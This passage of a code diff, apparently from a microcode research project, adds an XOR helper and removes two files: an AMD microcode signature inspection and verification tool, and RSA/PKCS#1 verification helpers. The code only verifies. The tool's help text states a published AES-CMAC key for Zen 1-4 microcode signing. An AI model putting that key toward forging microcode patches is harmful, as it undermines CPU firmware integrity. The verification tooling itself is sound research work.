+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+
4
+ """
5
+ Byte-string XOR helpers.
6
+ """
7
+
8
+
9
+ def xor_bytes(a: bytes, b: bytes) -> bytes:
10
+ """
11
+ Return the byte-wise XOR of ``a`` and ``b``.
12
+
13
+ Both operands must be the same length; a mismatch raises ``ValueError``.
14
+ Works on any equal-length byte sequences (``bytes``, ``bytearray``,
15
+ ``memoryview`` slices), not just 16-byte blocks.
16
+ """
17
+ if len(a) != len(b):
18
+ raise ValueError(f"xor operands differ in length: {len(a)} != {len(b)}")
19
+ return bytes(x ^ y for x, y in zip(a, b))
@@ -1,89 +0,0 @@
1
- #!/usr/bin/env python
2
- # SPDX-License-Identifier: GPL-2.0-or-later
3
- '''
4
- A command line tool to inspect and verify AMD uCode patch signatures.
5
- '''
6
-
7
- import sys
8
- import argparse
9
- from Crypto.Cipher import AES
10
- from Crypto.Hash import CMAC
11
- from rich import box
12
- from rich.console import Console
13
- from rich.table import Table
14
- from ..banner import BANNER
15
- from ..parse import ucode_patch_parse
16
- from .info import expand_paths
17
-
18
- COLS = ["File", "Signed", "Digest", "Valid"]
19
-
20
-
21
- def _parse_key(value: str) -> bytes:
22
- text = value.strip().lower()
23
- if text.startswith("0x"):
24
- text = text[2:]
25
- try:
26
- key = bytes.fromhex(text)
27
- except ValueError:
28
- raise argparse.ArgumentTypeError(f"key must be hexadecimal, got {value!r}")
29
- if len(key) != 16:
30
- raise argparse.ArgumentTypeError(
31
- f"key must be 16 bytes (32 hex chars), got {len(key)}"
32
- )
33
- return key
34
-
35
-
36
- def _row(path, key):
37
- """Return (row_cells, verdict) where verdict is True/False (key given) or None."""
38
- patch = ucode_patch_parse(path)
39
- signature = patch.header.signature
40
-
41
- if signature is None:
42
- return (str(path), "[yellow]no[/yellow]", "", "[dim]n/a[/dim]"), None
43
-
44
- recovered = signature.recover_digest()
45
- digest = recovered.hex() if recovered is not None else "[red]<bad padding>[/red]"
46
-
47
- if key is None:
48
- return (str(path), "[green]yes[/green]", digest, "[dim]not checked[/dim]"), None
49
-
50
- computed = CMAC.new(key, msg=patch.body.to_bytes(), ciphermod=AES).digest()
51
- verdict = recovered is not None and recovered == computed
52
- valid = "[green]yes[/green]" if verdict else "[red]no[/red]"
53
- return (str(path), "[green]yes[/green]", digest, valid), verdict
54
-
55
-
56
- def main():
57
- console = Console()
58
- console.print(BANNER, highlight=False)
59
-
60
- parser = argparse.ArgumentParser(
61
- description="Inspect AMD microcode patch signatures; verify them when a key is provided.",
62
- epilog="The published Zen 1-4 CMAC key is 2b7e151628aed2a6abf7158809cf4f3c.",
63
- )
64
- parser.add_argument("files", nargs="+", help="Patch files to inspect")
65
- parser.add_argument(
66
- "-k", "--key", type=_parse_key, default=None,
67
- help="AES-128 CMAC key as hex (32 hex chars); enables signature verification",
68
- )
69
- args = parser.parse_args()
70
-
71
- table = Table(*COLS, box=box.HEAVY_HEAD)
72
- all_ok = True
73
- for path in expand_paths(args.files):
74
- try:
75
- row, verdict = _row(path, args.key)
76
- table.add_row(*row)
77
- if verdict is False:
78
- all_ok = False
79
- except Exception as e:
80
- console.log(f"Error reading {path}: {e}")
81
- all_ok = False
82
- console.print(table)
83
-
84
- # Non-zero only when a key was given and a signature failed to verify.
85
- sys.exit(0 if all_ok else 1)
86
-
87
-
88
- if __name__ == "__main__":
89
- main()
@@ -1,65 +0,0 @@
1
- #!/usr/bin/env python
2
- # SPDX-License-Identifier: GPL-2.0-or-later
3
-
4
- """
5
- Minimal RSA signature verification helpers (textbook RSA + PKCS#1 v1.5 type 1).
6
-
7
- No private-key operations and no external dependencies: verification is just a
8
- modular exponentiation (``pow``) plus unpadding, which is all that is needed to
9
- check an AMD microcode patch signature against its embedded public modulus.
10
- """
11
-
12
-
13
- def rsa_recover(signature: bytes, modulus: bytes, exponent: int = 0x10001) -> bytes:
14
- """
15
- Return the RSA-recovered block ``signature ** exponent mod modulus`` as a
16
- big-endian byte string the same width as ``modulus``.
17
- """
18
- n = int.from_bytes(modulus, "big")
19
- s = int.from_bytes(signature, "big")
20
- if n == 0 or s >= n:
21
- raise ValueError("signature is not a residue modulo the public modulus")
22
- m = pow(s, exponent, n)
23
- return m.to_bytes(len(modulus), "big")
24
-
25
-
26
- def pkcs1_v15_unpad(block: bytes) -> bytes | None:
27
- """
28
- Strip PKCS#1 v1.5 block-type-1 padding (``00 01 FF..FF 00 || payload``) and
29
- return the payload, or ``None`` if the padding is malformed.
30
- """
31
- if len(block) < 11 or block[0] != 0x00 or block[1] != 0x01:
32
- return None
33
- i = 2
34
- while i < len(block) and block[i] == 0xFF:
35
- i += 1
36
- if i < 10 or i >= len(block) or block[i] != 0x00:
37
- return None
38
- return block[i + 1:]
39
-
40
-
41
- def digest_recover(signature: bytes, modulus: bytes, exponent: int = 0x10001) -> bytes | None:
42
- """
43
- Recover the digest this signature commits to, using only the embedded
44
- public ``modulus`` (no CMAC key required): compute
45
- ``signature ^ 0x10001 mod modulus`` and strip the PKCS#1 v1.5 padding.
46
-
47
- Returns the recovered payload — the 16-byte AES-CMAC AMD signed — or
48
- ``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
49
- corrupt signature or wrong modulus).
50
- """
51
- try:
52
- block = rsa_recover(signature, modulus, exponent)
53
- except ValueError:
54
- return None
55
- return pkcs1_v15_unpad(block)
56
-
57
-
58
- def pkcs1_v15_verify(signature: bytes, modulus: bytes, digest: bytes,
59
- exponent: int = 0x10001) -> bool:
60
- """
61
- Verify a PKCS#1 v1.5 signature whose padded payload is the raw ``digest``
62
- (no DigestInfo ASN.1 wrapper, as AMD uses a bare 16-byte CMAC).
63
- """
64
- payload = digest_recover(signature, modulus, exponent)
65
- return payload is not None and payload == digest